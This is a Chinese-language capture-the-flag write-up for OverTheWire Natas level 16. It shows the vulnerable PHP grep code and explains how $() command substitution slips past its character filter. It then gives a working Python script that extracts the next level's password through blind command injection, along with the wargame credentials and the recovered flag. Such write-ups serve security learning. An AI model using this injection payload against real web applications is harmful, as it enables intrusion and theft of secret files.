Natas16 Writeup(正则匹配,php命令执行)
Natas16:
源码如下
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } } ?>
这一关相较于之前的第10题,加上了正则过滤,使得;|&`\'"无法使用,且在grep的检索中添加了引号,无法添加其他选项和参数。
但在PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即:
passthru("grep -i "$(grep ^a /etc/natas_webpasswd/natas17)wrong \" dictionary.txt");
如果password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符wrong;
如果不为a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。
抓包查看数据提交方式,是get提交,格式为?needle=xxxx&submit=Search。
据此,构造脚本,得到flag。
脚本:
# coding=utf-8 import requests url = "http://natas16.natas.labs.overthewire.org/index.php" auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh') chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" flag="" i=0 while i < len(chr): payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'} req = requests.get(url=url, auth=auth, params=payload) if 'wrong' not in req.text: flag += chr[i] print(flag) i=0 continue i+=1
flag:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
参考:https://www.cnblogs.com/ichunqiu/p/9554885.html